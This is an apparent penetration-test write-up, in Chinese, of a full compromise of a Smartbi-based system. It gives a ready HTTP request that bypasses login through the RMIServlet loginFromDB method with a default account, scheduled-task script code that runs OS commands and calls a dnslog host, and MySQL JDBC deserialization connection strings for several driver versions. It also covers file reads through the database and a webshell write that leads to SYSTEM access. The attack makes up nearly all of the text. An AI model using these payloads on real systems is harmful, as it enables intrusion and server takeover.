背景:

某客户系统由Smartbi框架二次开发,存在登录绕过,可获取Web管理员权限,进入后台后可利用各种方法进行命令执行Getshell,最终使用三种不同方法拿下服务器控制权限

登录绕过获取管理员权限:
一般Smartbi存在三个默认用户,system,public,service
此处尝试得service可成功获取cookie

替换至浏览器中:


此处成功登录获取管理员权限
数据包:

POST /xxx/vision/RMIServlet HTTP/1.1
Host: xxx.xxx.xxx:xxxxx
Accept: */*
Content-Length: 68
Content-Type: application/x-www-form-urlencoded

className=UserService&methodName=loginFromDB&params=["service","0a"]

进入后台获取管理员权限后,尝试Getshell:
其中定制处,可执行计划任务:


这里执行ping命令验证是否执行成功

可以看到此处成功执行
计划任务代码:

importPackage(Packages.java.lang);

importPackage(Packages.java.io);

importPackage(Packages.smartbi.repository);

importPackage(Packages.smartbi.util);

importPackage(Packages.java.util);

builder = new ProcessBuilder();

builder.command("cmd", "/c", "ping xxxxxx.dnslog.cn");

process = builder.start();

其中还存在添加数据源的功能点,并且支持mysql数据库,尝试JDBC反序列化:
VPS启动fake-mysql-cli:

Fuzz测试mysql版本:

8.x:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

6.x:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

5.1.11及以上的5.x版本:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

此处Fuzz得5.x版本:
先测试是否可以dnslog回显,连接字符串处写相应版本payload,用户名处写对应deser_URLDNS_http://your-dns-log ,密码随意填:

点击测试连接


此时收到请求
尝试执行命令:
Fuzz得可利用CC31链子


成功执行命令

在后台还存在执行数据库命令的功能:

查询数据库secure_file_priv权限,此处为空值,说明无任何限制,可以数据库权限进行任意读写

尝试读取hosts文件,成功读取

尝试写入webshell,由于into dumpfile无回显,此处会报错,但不影响运行结果
从网上下载源码得到Smartbi的业务路径
路径为相对路径的../../Tomcat/webapps/xxx/vision/
访问webshell:

执行whoami命令,获取服务器system权限